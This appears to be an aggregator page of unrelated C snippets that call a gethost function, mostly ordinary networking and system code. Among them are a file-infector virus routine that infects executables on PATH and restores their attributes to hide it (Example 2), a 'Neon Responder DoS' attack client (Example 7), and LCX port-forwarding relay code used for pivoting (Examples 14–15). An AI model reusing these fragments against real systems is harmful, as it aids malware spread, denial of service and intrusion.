Exemplo n.º 1
0
char * create_device(struct device *dev){
	char *cmd;
	struct hostent *host=NULL;
	int sockfd;
	struct sockaddr_in sockaddr;
	host=gethost();
	if(NULL==host){
		return NULL;
	}
	sockfd=getsocket();
	if(-1==sockfd){
		return NULL;
	}
	init_sockaddr(&sockaddr,host);
	if(-1==(getconnect(sockfd,&sockaddr))){
		return NULL;
	}
	cmd=link_deviceinfo("/v1.0/devices",dev);
	if(-1==(sencmd(sockfd,cmd))){
		return NULL;
	}
	if(NULL==(cmd=receivecmd(sockfd))){
		return NULL;
	}
	closesocket(sockfd);
	return cmd;
}
Exemplo n.º 2
0
int infect(int anz, char *caller)
{
	int i = 0, j = 0;
	char *dir, *f, *path;
        
        char file[200];
	struct stat status;               /* save time ... */       	
                
        path = getenv("PATH");
        if ((dir = getdir(path)) == NULL) /* find directory */
           	return -1;

   	while (i < anz && j < 10) { /* <anz> times  */
           	DFPRINTF("------------- new infection stack ----------\n");
                DFPRINTF("@f infect: directory of infection is <%s>\n", dir);
           	j++;
           	if ((f = gethost(dir, FILEPATH)) == NULL) 
                   	continue;                		
                strcpy(file, f);        	
                if (saveattribs(file, &status) < 0)
                   	continue;
                if (infect_host(file, caller) < 0)
                   	continue;
                if (restoreattribs(file, status) < 0)
                   	continue;
                i++;
                j = 0;
                DFPRINTF("@f infect: infected file is <%s>\n", file);
        }
        return i;   	
}
Exemplo n.º 3
0
void main () {
  
  char buf[1024];
  char *args[64];
  char pwd[128];
  
  init_banner();
  for (;;)
    {
      /*
       * Prompt for and read a command.
       */
      // user@host[pwd] : 
      printf ("%s@%s[%s]: ", getusername() , gethost(), getcwd(pwd, sizeof(pwd)) );

      if (gets (buf) == NULL)
	{
	  printf ("\n");
	  exit (0);
	}

      /*
       * Split the string into arguments.
       */
      
      parse (buf, args);

      /*
       * Execute the command.
       */
      
      execute (args);
    }
}
Exemplo n.º 4
0
char * edit_device(int devid,struct device *dev){
	char device_id[30];
	char tmp_str[50];
	char *cmd;
	struct hostent *host=NULL;
	int sockfd;
	struct sockaddr_in sockaddr;
	host=gethost();
	if(NULL==host){
		return NULL;
	}
	sockfd=getsocket();
	if(-1==sockfd){
		return NULL;
	}
	init_sockaddr(&sockaddr,host);
	if(-1==(getconnect(sockfd,&sockaddr))){
		return NULL;
	}
	sprintf(device_id,"%d",devid);
	memset(tmp_str,0,sizeof(tmp_str));
	strcat(tmp_str,"/v1.0/device/");
	strcat(tmp_str,device_id);
	cmd=link_deviceinfo(tmp_str,dev);
	if(-1==(sencmd(sockfd,cmd))){
		return NULL;
	}
	if(NULL==(cmd=receivecmd(sockfd))){
		return NULL;
	}
	closesocket(sockfd);
	return cmd;
}
Exemplo n.º 5
0
char *show_device(int devid){
	char cmd[MAXBUFF];
	char device_id[30];
	char *ret;
	struct hostent *host=NULL;
	int sockfd;
	struct sockaddr_in sockaddr;
	host=gethost();
	if(NULL==host){
		return NULL;
	}
	sockfd=getsocket();
	if(-1==sockfd){
		return NULL;
	}
	init_sockaddr(&sockaddr,host);
	if(-1==(getconnect(sockfd,&sockaddr))){
		return NULL;
	}
	sprintf(device_id,"%d",devid);
	memset(cmd,0,sizeof(cmd));
	strcat(cmd,"GET /v1.0/device/");
	strcat(cmd,device_id);
	strcat(cmd," HTTP/1.1\r\nHost: api.yeelink.net\r\nU-ApiKey: ");
	strcat(cmd,yeelink_apikey);
	strcat(cmd,"\r\n\r\n");
	if(-1==(sencmd(sockfd,cmd))){
		return NULL;
	}
	if(NULL==(ret=receivecmd(sockfd))){
		return NULL;
	}
	closesocket(sockfd);
	return ret;
}
Exemplo n.º 6
0
/* Duplicate the output of last(1) */
static void
output(struct output *o)
{
	time_t t = (time_t)o->o_tv.tv_sec;
	printf("%-*.*s  %-*.*s %-*.*s   %s",
		(int)namelen, (int)namelen, o->o_name,
		(int)linelen, (int)linelen, o->o_line,
		(int)hostlen, (int)hostlen, gethost(o),
		t ? ctime(&t) : "Never logged in\n");
}
Exemplo n.º 7
0
int main(int argc, char *argv[])
{

   WSADATA wsa;
   SOCKET client;
   sockaddr_in peer;
   WORD wsVersion;

   char sendbuffer[16]="";
   char recvbuffer[16]="";
   unsigned long host=0;
   int err=0;

   if(argc<2)
     usage(argv[0]);

   printf("\n~~~~~~ Neon Responder DoS - (c) by Stefan Lochbihler ~~~~~~\n\n");


   if(WSAStartup(wsVersion=MAKEWORD(2,2),&wsa)!=0)
   {
       printf("WSAStartup() fail\n");
       exit(0);
   }

   printf("%s:[+] Try to create socket\n",argv[0]);
   client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   if(client==INVALID_SOCKET)
      endpgr(argv[0],client,"[-] socket() fail");

   printf("%s:[+] Lookup host\n",argv[0]);
   if(!(host=gethost(argv[1])))
      endpgr(argv[0],client,"[-] host not found !");

   peer.sin_family = AF_INET;
   peer.sin_port = htons(PORT);
   peer.sin_addr.s_addr = host;

   printf("%s:[+] Connect to %s\n",argv[0],argv[1]);
   err=connect(client,(SOCKADDR*)&peer,sizeof(struct sockaddr_in));
   if(err)
     endpgr(argv[0],client,"[-] connect() fail");

   memcpy(sendbuffer,CLOCK_MSG,sizeof(CLOCK_MSG));

   printf("%s:[+] Try to send packet\n",argv[0]);
   err=send(client,sendbuffer,sizeof(sendbuffer),0);
   err=recv(client,recvbuffer,sizeof(recvbuffer)-1,0);

   endpgr(argv[0],client,"[+] End successfully");

   return 0;

}
Exemplo n.º 8
0
/** Get host address from URI, IP v6 is a special case. */
static char* getaddress(char* const uri) {
	char* address;

	if (*uri == '[') {
		address = getip6host(uri);
	}
	else {
		address = gethost(uri);
	}
	return address;
}
Exemplo n.º 9
0
void WD_SYSTEM
fake_main(void)
{
    if(!dns_flag)
    {
        gethost();      
    }
    else
    {
        test_buildtreeFunc(TEST_URL);
    }
}
Exemplo n.º 10
0
void WD_SYSTEM 
fake_main(void)
{
    if(!dns_flag)
    {
        gethost();		
    }
    else
    {
#if TEST_TYPE == TEST_STAB_CYCLE
    	ramtest_init(1,1);
    	stab_titlePrint();
    	printf("%s\n",TEST_URL);
        os_timer_disarm(&test_timer1);
        os_timer_setfn(&test_timer1, (os_timer_func_t *)stab_test_cycle, NULL);
        os_timer_arm(&test_timer1, 1000, 0); 
#else
        test_buildtreeFunc(TEST_URL);
#endif
    }
}
Exemplo n.º 11
0
/*
 * Parse a set of parameters for an interface.
 * returns NULL or error message
 */
const char *
parse_parms(char *line,
    boolean_t safe)			/* 1=from secure file */
{
#define	PARS(str) (strcasecmp(tgt, str) == 0)
#define	PARSEQ(str) (strncasecmp(tgt, str"=", sizeof (str)) == 0)
/*
 * This macro checks for conflicting configurations options
 * For eg  one can set either the IS_NO_SOL_OUT flag bit or the IS_SOL_OUT flag
 * bit, but not both.
 */
#define	CKF(g, b) {if (0 != (parm.parm_int_state & ((g) & ~(b)))) break; \
	parm.parm_int_state |= (b); }
	struct parm parm;
	struct intnet *intnetp;
	struct r1net *r1netp;
	struct tgate *tg;
	uint32_t addr, mask;
	char delim, *val0 = 0, *tgt, *val, *p;
	const char *msg;
	char buf[PARMS_MAXLINELEN], buf2[PARMS_MAXLINELEN];
	int i;


	/* "subnet=x.y.z.u/mask[,metric]" must be alone on the line */
	if (strncasecmp(line, "subnet=", sizeof ("subnet=") - 1) == 0 &&
	    *(val = &line[sizeof ("subnet=") -1 ]) != '\0') {
		if (0 > parse_quote(&val, ",", &delim, buf, sizeof (buf)))
			return (bad_str(line));
		intnetp = rtmalloc(sizeof (*intnetp),
		    "parse_parms subnet");
		intnetp->intnet_metric = 1;
		if (delim == ',') {
			intnetp->intnet_metric = (int)strtol(val+1, &p, 0);
			if (*p != '\0' || intnetp->intnet_metric <= 0 ||
			    val+1 == p ||
			    intnetp->intnet_metric >= HOPCNT_INFINITY) {
				free(intnetp);
				return (bad_str(line));
			}
		}
		if (!getnet(buf, &intnetp->intnet_addr,
		    &intnetp->intnet_mask) ||
		    intnetp->intnet_mask == HOST_MASK ||
		    intnetp->intnet_addr == RIP_DEFAULT) {
			free(intnetp);
			return (bad_str(line));
		}
		intnetp->intnet_addr = htonl(intnetp->intnet_addr);
		intnetp->intnet_next = intnets;
		intnets = intnetp;
		return (NULL);
	}

	/*
	 * "ripv1_mask=x.y.z.u/mask1,mask2" must be alone on the line.
	 * This requires that x.y.z.u/mask1 be considered a subnet of
	 * x.y.z.u/mask2, as if x.y.z.u/mask2 were a class-full network.
	 */
	if (!strncasecmp(line, "ripv1_mask=", sizeof ("ripv1_mask=") - 1) &&
	    *(val = &line[sizeof ("ripv1_mask=")-1]) != '\0') {
		if (0 > parse_quote(&val, ",", &delim, buf, sizeof (buf)) ||
		    delim == '\0')
			return (bad_str(line));
		if ((i = (int)strtol(val+1, &p, 0)) <= 0 || i > 32 ||
		    *p != '\0')
			return (bad_str(line));
		r1netp = rtmalloc(sizeof (*r1netp), "parse_parms ripv1_mask");
		r1netp->r1net_mask = HOST_MASK << (32-i);
		if (!getnet(buf, &r1netp->r1net_net, &r1netp->r1net_match) ||
		    r1netp->r1net_net == RIP_DEFAULT ||
		    r1netp->r1net_mask > r1netp->r1net_match) {
			free(r1netp);
			return (bad_str(line));
		}
		r1netp->r1net_next = r1nets;
		r1nets = r1netp;
		return (NULL);
	}

	(void) memset(&parm, 0, sizeof (parm));
	/*
	 * Support of the following for Solaris backward compatibility
	 * norip <ifname>
	 * noripin <ifname>
	 * noripout <ifname>
	 */
	if (strncasecmp("norip", line, 5) == 0) {
		char cmd[64], ifname[64];
		int n;

		n = sscanf(line, "%63s %63s\n", cmd, ifname);
		if (n != 2) {
			/* Not enough parameters */
			return (bad_str(line));
		}

		/*
		 * Get the interface name and turn on the appropriate
		 * interface flags
		 */
		(void) strlcpy(parm.parm_name, ifname, sizeof (parm.parm_name));
		if (strcasecmp("norip", cmd) == 0) {
			parm.parm_int_state |= IS_NO_RIP;
		} else if (strcasecmp("noripin", cmd) == 0) {
			parm.parm_int_state |= IS_NO_RIP_IN;
		} else if (strcasecmp("noripout", cmd) == 0) {
			parm.parm_int_state |= IS_NO_RIP_OUT;
		} else {
			/* Bad command */
			return (bad_str(line));
		}
		/*
		 * Look for duplication, and if new,
		 * link to the rest of the parm entries.
		 */
		return (insert_parm(&parm));
	}

	for (;;) {
		tgt = line + strspn(line, " ,\n\r");
		if (*tgt == '\0' || *tgt == '#')
			break;
		line = tgt+strcspn(tgt, "= #,\n\r");
		delim = *line;
		if (delim == '=') {
			val0 = ++line;
			if (0 > parse_quote(&line, " #,", &delim,
			    buf, sizeof (buf)))
				return (bad_str(tgt));
		}
		if (delim != '\0') {
			for (;;) {
				*line = '\0';
				if (delim == '#')
					break;
				++line;
				if (!isspace(delim) ||
				    ((delim = *line), !isspace(delim)))
					break;
			}
		}

		if (PARSEQ("if")) {
			if (parm.parm_name[0] != '\0' ||
			    strlen(buf) > IF_NAME_LEN)
				return (bad_str(tgt));
			(void) strlcpy(parm.parm_name, buf,
			    sizeof (parm.parm_name));

		} else if (PARSEQ("addr")) {
			/*
			 * This is a bad idea, because the address based
			 * sets of parameters cannot be checked for
			 * consistency with the interface name parameters.
			 * The parm_net stuff is needed to allow several
			 * -F settings.
			 */
			if (!getnet(val0, &addr, &mask) ||
			    parm.parm_name[0] != '\0')
				return (bad_str(tgt));
			parm.parm_net = addr;
			parm.parm_mask = mask;
			parm.parm_name[0] = '\n';

		} else if (PARSEQ("passwd")) {
			/*
			 * since cleartext passwords are so weak allow
			 * them anywhere
			 */
			msg = get_passwd(tgt, val0, &parm, RIP_AUTH_PW, 1);
			if (msg) {
				*val0 = '\0';
				return (bad_str(msg));
			}

		} else if (PARSEQ("md5_passwd")) {
			msg = get_passwd(tgt, val0, &parm, RIP_AUTH_MD5, safe);
			if (msg) {
				*val0 = '\0';
				return (bad_str(msg));
			}

		} else if (PARS("no_ag")) {
			parm.parm_int_state |= (IS_NO_AG | IS_NO_SUPER_AG);

		} else if (PARS("no_host")) {
			parm.parm_int_state |= IS_NO_HOST;

		} else if (PARS("no_super_ag")) {
			parm.parm_int_state |= IS_NO_SUPER_AG;

		} else if (PARS("no_ripv1_in")) {
			parm.parm_int_state |= IS_NO_RIPV1_IN;

		} else if (PARS("no_ripv2_in")) {
			parm.parm_int_state |= IS_NO_RIPV2_IN;

		} else if (PARS("ripv2_out")) {
			if (parm.parm_int_state & IS_NO_RIPV2_OUT)
				return (bad_str(tgt));
			parm.parm_int_state |= IS_NO_RIPV1_OUT;

		} else if (PARS("ripv2")) {
			if ((parm.parm_int_state & IS_NO_RIPV2_OUT) ||
			    (parm.parm_int_state & IS_NO_RIPV2_IN))
				return (bad_str(tgt));
			parm.parm_int_state |= (IS_NO_RIPV1_IN
			    | IS_NO_RIPV1_OUT);

		} else if (PARS("no_rip")) {
			CKF(IS_PM_RDISC, IS_NO_RIP);

		} else if (PARS("no_rip_mcast")) {
			parm.parm_int_state |= IS_NO_RIP_MCAST;

		} else if (PARS("no_rdisc")) {
			CKF((GROUP_IS_SOL_OUT|GROUP_IS_ADV_OUT), IS_NO_RDISC);

		} else if (PARS("no_solicit")) {
			CKF(GROUP_IS_SOL_OUT, IS_NO_SOL_OUT);

		} else if (PARS("send_solicit")) {
			CKF(GROUP_IS_SOL_OUT, IS_SOL_OUT);

		} else if (PARS("no_rdisc_adv")) {
			CKF(GROUP_IS_ADV_OUT, IS_NO_ADV_OUT);

		} else if (PARS("rdisc_adv")) {
			CKF(GROUP_IS_ADV_OUT, IS_ADV_OUT);

		} else if (PARS("bcast_rdisc")) {
			parm.parm_int_state |= IS_BCAST_RDISC;

		} else if (PARS("passive")) {
			CKF((GROUP_IS_SOL_OUT|GROUP_IS_ADV_OUT), IS_NO_RDISC);
			parm.parm_int_state |= IS_NO_RIP | IS_PASSIVE;

		} else if (PARSEQ("rdisc_pref")) {
			if (parm.parm_rdisc_pref != 0 ||
			    (parm.parm_rdisc_pref = (int)strtol(buf, &p, 0),
			    *p != '\0') || (buf == p))
				return (bad_str(tgt));

		} else if (PARS("pm_rdisc")) {
			if (IS_RIP_OUT_OFF(parm.parm_int_state))
				return (bad_str(tgt));
			parm.parm_int_state |= IS_PM_RDISC;

		} else if (PARSEQ("rdisc_interval")) {
			if (parm.parm_rdisc_int != 0 ||
			    (parm.parm_rdisc_int = (int)strtoul(buf, &p, 0),
				*p != '\0') || (buf == p) ||
			    parm.parm_rdisc_int < MIN_MAXADVERTISEINTERVAL ||
			    parm.parm_rdisc_int > MAX_MAXADVERTISEINTERVAL)
				return (bad_str(tgt));

		} else if (PARSEQ("fake_default")) {
			if (parm.parm_d_metric != 0 ||
			    IS_RIP_OUT_OFF(parm.parm_int_state) ||
			    (parm.parm_d_metric = (int)strtoul(buf, &p, 0),
				*p != '\0') || (buf == p) ||
			    parm.parm_d_metric > HOPCNT_INFINITY-1)
				return (bad_str(tgt));

		} else if (PARSEQ("trust_gateway")) {
			/* look for trust_gateway=x.y.z|net/mask|...) */
			p = buf;
			if (0 > parse_quote(&p, "|", &delim, buf2,
			    sizeof (buf2)) || !gethost(buf2, &addr))
				return (bad_str(tgt));
			tg = rtmalloc(sizeof (*tg),
			    "parse_parms trust_gateway");
			(void) memset(tg, 0, sizeof (*tg));
			tg->tgate_addr = addr;
			i = 0;
			/* The default is to trust all routes. */
			while (delim == '|') {
				p++;
				if (i >= MAX_TGATE_NETS ||
				    0 > parse_quote(&p, "|", &delim, buf2,
					sizeof (buf2)) ||
				    !getnet(buf2, &tg->tgate_nets[i].net,
					&tg->tgate_nets[i].mask) ||
				    tg->tgate_nets[i].net == RIP_DEFAULT ||
				    tg->tgate_nets[i].mask == 0) {
					free(tg);
					return (bad_str(tgt));
				}
				i++;
			}
			tg->tgate_next = tgates;
			tgates = tg;
			parm.parm_int_state |= IS_DISTRUST;

		} else if (PARS("redirect_ok")) {
			parm.parm_int_state |= IS_REDIRECT_OK;

		} else if (PARSEQ("rip_neighbor")) {
			if (parm.parm_name[0] == '\0' ||
			    gethost(buf, &parm.parm_ripout_addr) != 1)
				return (bad_str(tgt));

		} else {
			return (bad_str(tgt));	/* error */
		}
	}

	return (insert_parm(&parm));
#undef PARS
#undef PARSEQ
#undef CKF
}
Exemplo n.º 12
0
//
//	Connect a remote host to our local socket
//	local_addr will be used as data_addr in later calls
//
//	Returns  1 for successful connection
//	Returns  0 for failure that can be retried
//	Returns -1 for fatal failure
//	Returns -2 for (fatal) failure where gethost fails with no error number
//
int connect_host( struct ftp_info *info, int (*updatefn)(void *,int,char *), void *updateinfo, char *host, int port )
{
struct opusftp_globals *ogp = info->fi_og;
struct servent         *se;
int                     retval = 0;
struct sockaddr_in	remote_addr = {0};
LONG			len = sizeof(struct sockaddr_in);
int			reply;		// FTP reply

info->fi_cs = -1;

if	(updatefn)
	(*updatefn)( updateinfo, 0/*attempt*/, GetString(locale,MSG_LOOKING_UP) );

// Lookup the FTP server's address
if	(gethost( ogp, &remote_addr, host ))
	{
	if	(updatefn)
		(*updatefn)( updateinfo, 0/*attempt*/, GetString(locale,MSG_HOST_FOUND) );

	// If no port specified, use the standard ftp port 21
	if	(!port)
		{
		if	((se = getservbyname( "ftp", "tcp" )))
			port = se->s_port;
		else
			port = htons(21);
		}
	else
		port = htons(port);

	// Specify the port in the address structure
	remote_addr.sin_port = port;

	// Create the control socket
	if	((info->fi_cs = socket( remote_addr.sin_family, SOCK_STREAM, 0 )) >= 0)
		{
		// Connect the control socket to the FTP server
		//D(bug( "--> connect()\n" ));
		D(bug( "** control connect(0x%08lx)\n", remote_addr.sin_addr.s_addr ));

		if	(connect( info->fi_cs, (struct sockaddr *)&remote_addr, sizeof(remote_addr) ) >= 0)
			{
			// Now get the FTP server's address from the socket itself
			// Since the connection may have come via firewalls, this name is more meaningful
			// and possibly different to that used to establish the connection
			if	(getsockname( info->fi_cs, (struct sockaddr *)&info->fi_addr, &len ) >= 0)
				{
				int tos = IPTOS_LOWDELAY;
				D(bug("  conhost: %lx\n",info->fi_addr.sin_addr));

				// Control connection is somewhat interactive, so quick response
				// is desired
				setsockopt( info->fi_cs, IPPROTO_IP, IP_TOS, (char *)&tos, sizeof(tos) );

				// We want Out-of-band data to appear in the regular stream,
				// since we can handle TELNET
				// (actually, we can't handle it yet so it's disabled)
				//setsockopt( info->fi_cs, SOL_SOCKET, SO_OOBINLINE, (char *)&on, sizeof(on) );

				if	(updatefn)
					(*updatefn)( updateinfo, 0/*attempt*/, GetString(locale,MSG_READING_STARTUP) );

				// Read FTP protocol startup message - Can TIMEOUT
				while	((reply = _getreply( info, 0, updatefn, updateinfo )) == 120)
					;

				if	(reply == 220)
					retval = 1;
				}
			}

		// If something went wrong close and invalidate the control socket
		if	(retval <= 0)
			{
			CloseSocket( info->fi_cs );
			info->fi_cs = -1;
			}
		}
	}
else
	{
	// Call to gethost() failed, but errno not set
	if	(errno == 0)
		retval = -2;
	}

if	(retval <= 0)
	{
	// Connect may have been aborted by user - reset control-c signals
	SetSignal( 0L, SIGBREAKF_CTRL_C );

	if	(retval != -2)
		{
		switch	(errno)
			{
			case ENETDOWN:
			case ENETUNREACH:
			case ECONNABORTED:
			case ETIMEDOUT:
			case ECONNREFUSED:
			case EHOSTDOWN:
				retval = 0;
				break;

			default:
				retval = -1;
				break;
			}
		}
	}

return retval;
}
Exemplo n.º 13
0
Arquivo: main.c Projeto: WareX97/aPlus
int main(int argc, char** argv, char** env) {
    
    static struct option long_options[] = {
        { "command", required_argument, NULL, 'c'},
        { "help", no_argument, NULL, 'h'},
        { "version", no_argument, NULL, 'v'},
        { NULL, 0, NULL, 0 }
    };


    
    char* command = NULL;

    int c, idx;
    while((c = getopt_long(argc, argv, "c:hv", long_options, &idx)) != -1) {
        switch(c) {
            case 'c':
                if(strcmp(optarg, "-c") != 0)
                    command = strdup(optarg);
                else
                    command = strdup(argv[optind]);
                break;
            case 'v':
                show_version(argc, argv);
                break;
            case 'h':
            case '?':
                show_usage(argc, argv);
                break;
            default:
                abort();
        }
    }


    char buf[BUFSIZ];
    setenv("PWD", getcwd(buf, BUFSIZ), 1);


    if(command)
        sh_exec(command);

    
    setsid();
    sh_reset_tty();



    char* user = getuser();
    char* host = gethost();


    int e = 0;
    do {
        char line[BUFSIZ];
        memset(line, 0, sizeof(line));

        if(!sh_prompt(line, user, host, e))
            continue;
        
        sh_history_add(line);
        e = sh_exec(line);
    } while(1);

    return 0;
}
Exemplo n.º 14
0
Arquivo: lcx.c Projeto: 601040605/LCX
int lcx_tran(unsigned short port1,const char* ip2_str,unsigned short port2)
{
  SOCKET_INIT
    SOCKET s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  struct sockaddr_in sa;
  sa.sin_family = AF_INET;
  sa.sin_port = htons(port1);
  sa.sin_addr.s_addr = INADDR_ANY;
  int ok =0;
  if(s!=-1)
  {
    if(bind(s,(struct sockaddr*)&sa,sizeof(sa))==0)
    {
      if(listen(s,SOMAXCONN)==0)
      {
        ok = 1;
        fprintf(stdout,"\n[+]  Listening On Port %d...\n",port1);fflush(stdout);
        if(lcx_log)fprintf(lcx_log,"\n[+]  Listening On Port %d...\n",port1),fflush(lcx_log);
      }
      else
      {
        fprintf(stdout,"\n[-]  Listen Failed\n");
        if(lcx_log)fprintf(lcx_log,"\n[-]  Listen Failed\n"),fflush(lcx_log);
      }
    }
    else
    {
      fprintf(stdout,"\n[-]  Bind On Port %d Failed\n",port1);
      if(lcx_log)fprintf(lcx_log,"\n[-]  Bind On Port %d Failed\n",port1),fflush(lcx_log);
    }
  }
  else
  {
    fprintf(stdout,"\n[-]  Create Socket Failed\n");
    if(lcx_log)fprintf(lcx_log,"\n[-]  Create Socket Failed\n"),fflush(lcx_log);
  }
  if(!ok)
  {
    closesocket(s);
    return -1;
  }
  SOCKET tt[2];
  SOCKET ac=-1;
  ok = sizeof(sa);
  char out1[100],out2[100];
  while(1)
  {
    unsigned long ip2 = gethost(ip2_str);
    if(-1 == ip2)
    {
      fprintf(stdout,"\n[-]  Reslove Host %s Failed...\n",ip2_str),fflush(stdout);
      break;
    }
    fprintf(stdout,"\n[+]  Waiting Connect On Port %d...\n",port1);fflush(stdout);
    if(lcx_log)fprintf(lcx_log,"\n[+]  Waiting Connect On Port %d...\n",port1),fflush(lcx_log);
    if(ac=accept(s,(struct sockaddr*)&sa,&ok),ac==-1)
    {
      break;
    }
    unsigned char* ip =(unsigned char*)&sa.sin_addr.s_addr;
    sprintf(out1,"%d.%d.%d.%d:%d",ip[0],ip[1],ip[2],ip[3],htons(sa.sin_port));
    ip = (unsigned char*)&ip2;
    sprintf(out2,"%d.%d.%d.%d:%d",ip[0],ip[1],ip[2],ip[3],(port2));
    fprintf(stdout,"\n[+]  Connect From %s, Now Connect to %s\n",out1,out2);fflush(stdout);
    if(lcx_log)fprintf(lcx_log,"\n[+]  Connect From %s, Now Connect to %s\n",out1,out2),fflush(lcx_log);
    sa.sin_port = htons(port2);
    sa.sin_addr.s_addr = ip2;
    SOCKET s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    if(connect(s2,(struct sockaddr*)&sa,sizeof(sa))==0)
    {
      tt[0]=ac;
      tt[1]=s2;
      fprintf(stdout,"\n[+]  Connect %s Successed,Start Transfer...\n",out2);fflush(stdout);
      if(lcx_log)fprintf(lcx_log,"\n[+]  Connect %s Successed,Start Transfer...\n",out2),fflush(lcx_log);
      in_createthread(in_data_tran,tt);
    }
    else
    {
      fprintf(stdout,"\n[-]  Connect %s Failed...\n",out2),fflush(stdout);
      if(lcx_log)fprintf(lcx_log,"\n[-]  Connect %s Failed...\n",out2),fflush(lcx_log);
      closesocket(s2);
      closesocket(ac);
    }
  }
  closesocket(s);
  closesocket(ac);
  return 0;
}
Exemplo n.º 15
0
Arquivo: lcx.c Projeto: 601040605/LCX
int lcx_slave(const char* ip1_str,unsigned short port1,const char* ip2_str,unsigned short port2)
{
  SOCKET_INIT

    char out1[100],out2[100];
  while(1)
  {
    unsigned long ip1 = gethost(ip1_str);
    if(-1 == ip1)
    {
      fprintf(stdout,"\n[-]  Reslove Host %s Failed...\n",ip1_str),fflush(stdout);
      break;
    }
    unsigned long ip2 = gethost(ip2_str);
    if(-1 == ip2)
    {
      fprintf(stdout,"\n[-]  Reslove Host %s Failed...\n",ip2_str),fflush(stdout);
      break;
    }
    SOCKET s[2];
    s[0] = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    s[1] = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    struct sockaddr_in sa[2];
    sa[0].sin_family = AF_INET;
    sa[0].sin_port = htons(port1);
    sa[0].sin_addr.s_addr = (ip1);
    sa[1].sin_family = AF_INET;
    sa[1].sin_port = htons(port2);
    sa[1].sin_addr.s_addr = (ip2);
    unsigned char*ip[2];
    ip[0] = (unsigned char*)&ip1;
    ip[1] = (unsigned char*)&ip2;
    sprintf(out1,"%d.%d.%d.%d:%d",ip[0][0],ip[0][1],ip[0][2],ip[0][3],port1);
    sprintf(out2,"%d.%d.%d.%d:%d",ip[1][0],ip[1][1],ip[1][2],ip[1][3],port2);

    if(s[0]!=-1 && s[1]!=-1)
    {
      fprintf(stdout,"\n[+]  Connect %s, Please Wait\n",out1);fflush(stdout);
      if(lcx_log)fprintf(lcx_log,"\n[+]  Connect %s, Please Wait\n",out1),fflush(lcx_log);
      while(connect(s[0],(struct sockaddr*)&sa[0],sizeof(struct sockaddr))!=0)
      {
        fprintf(stdout,"\n[-]  Connect %s Failed,Try Again..\n",out1);
        if(lcx_log)fprintf(lcx_log,"\n[-]  Connect %s Failed,Try Again..\n",out1),fflush(lcx_log);
        delay(1000);
      }
      char c;
      if(recv(s[0],(char*)&c,1,MSG_PEEK)<=0)
      {
        fprintf(stdout,"\n[-]  Connect %s Failed,CutDown...\n",out2);
        if(lcx_log)fprintf(lcx_log,"\n[-]  Connect %s Failed,CutDown...\n",out2),fflush(lcx_log);
        closesocket(s[0]);
        closesocket(s[1]);
        continue;
      }
      fprintf(stdout,"\n[+]  Connect %s Successed,Now Connect %s\n",out1,out2);fflush(stdout);
      if(lcx_log)fprintf(lcx_log,"\n[+]  Connect %s Successed,Now Connect %s\n",out1,out2),fflush(lcx_log);
      if(connect(s[1],(struct sockaddr*)&sa[1],sizeof(struct sockaddr))==0)
      {
        fprintf(stdout,"\n[+]  Connect %s Successed,Transfering...\n",out2);fflush(stdout);
        if(lcx_log)fprintf(lcx_log,"\n[+]  Connect %s Successed,Transfering...\n",out2),fflush(lcx_log);
        in_createthread(in_data_tran,s);
      }
      else
      {
        fprintf(stdout,"\n[-]  Connect %s Failed,CutDown...\n",out2);
        if(lcx_log)fprintf(lcx_log,"\n[-]  Connect %s Failed,CutDown...\n",out2),fflush(lcx_log);
        closesocket(s[0]);
        closesocket(s[1]);
      }
    }
    else
    {
      fprintf(stdout,"\n[-]  Create Socket Failed\n");
      if(lcx_log)fprintf(lcx_log,"\n[-]  Create Socket Failed\n"),fflush(lcx_log);
      return -1;
    }
    delay(1000);
  }
  return 0;
}
Exemplo n.º 16
0
subuser *checkrecv(char *pSock, ape_socket *client, acetables *g_ape, char *ip_client)
{

	unsigned int op;
	unsigned int isget = 0;
	
	subuser *user = NULL;
	int local = (strcmp(ip_client, CONFIG_VAL(Server, ip_local, g_ape->srv)) == 0);
	
	clientget *cget = xmalloc(sizeof(*cget));


	if (strlen(pSock) < 3 || (local && getqueryip(pSock, cget->ip_get) == 0)) {  // get query IP (from htaccess)
		free(cget);
		shutdown(client->fd, 2);
		return NULL;		
	}
	if (!local) {
		strncpy(cget->ip_get, ip_client, 16); // get real IP (from socket)
	}
	
	cget->client = client;
	
	gethost(pSock, cget->host);
	
	if (strncasecmp(pSock, "GET", 3) == 0) {
		if (!fixpacket(pSock, 0) || (cget->get = getfirstparam(pSock, (local ? '&' : '?'))) == NULL) {
			free(cget);
			
			shutdown(client->fd, 2);
			return NULL;			
		} else {
			isget = 1;
		}
	} else if (strncasecmp(pSock, "POST", 4) == 0) {
		if ((cget->get = getpost(pSock)) == NULL) {
			free(cget);
			
			shutdown(client->fd, 2);
			return NULL;			
		}
	} else {
		free(cget);

		shutdown(client->fd, 2);
		return NULL;		
	}
	
	fixpacket(cget->get, 1);

	if (isget) {
		urldecode(cget->get);
	}
	
	op = checkcmd(cget, gettransport(pSock), &user, g_ape);

	switch (op) {
		case CONNECT_SHUTDOWN:
			shutdown(client->fd, 2);			
			break;
		case CONNECT_KEEPALIVE:
			break;
	}

	free(cget);
	
	return user;

}
Exemplo n.º 17
0
void                                    main __P2(int, argc, char **, argv)
{
    struct sockaddr_in                      laddr,
                                            faddr;
    int                                     len,
                                            res,
                                            lport,
                                            fport;
    ident_t                                *id;
    char                                   *identifier,
                                           *opsys,
                                           *charset;

    puts("Welcome to the IDENT server tester, version 1.8\r\n");
    printf("(Linked with libident-%s)\r\n\n", id_version);

    fflush(stdout);

    len = sizeof(faddr);
    getpeername(0, (struct sockaddr *)&faddr, &len);

    len = sizeof(laddr);
    getsockname(0, (struct sockaddr *)&laddr, &len);

    printf("Connecting to Ident server at %s...\r\n", inet_ntoa(faddr.sin_addr));
    fflush(stdout);

#ifdef LOG_LOCAL3
    openlog("tidentd", 0, LOG_LOCAL3);
#else
    openlog("tidentd", 0);
#endif

    id = id_open(&laddr.sin_addr, &faddr.sin_addr, NULL);
    if (!id) {
	perror("id_open()");
	fflush(stderr);
	syslog(LOG_ERR, "Error: id_open(): host=%s, error=%m", gethost(&faddr.sin_addr));
	exit(1);
    }

    printf("Querying for lport %d, fport %d....\r\n",
	   (int)ntohs(faddr.sin_port), (int)ntohs(laddr.sin_port));
    fflush(stdout);

    if (id_query(id, ntohs(faddr.sin_port), ntohs(laddr.sin_port), 0) < 0) {
	perror("id_query()");
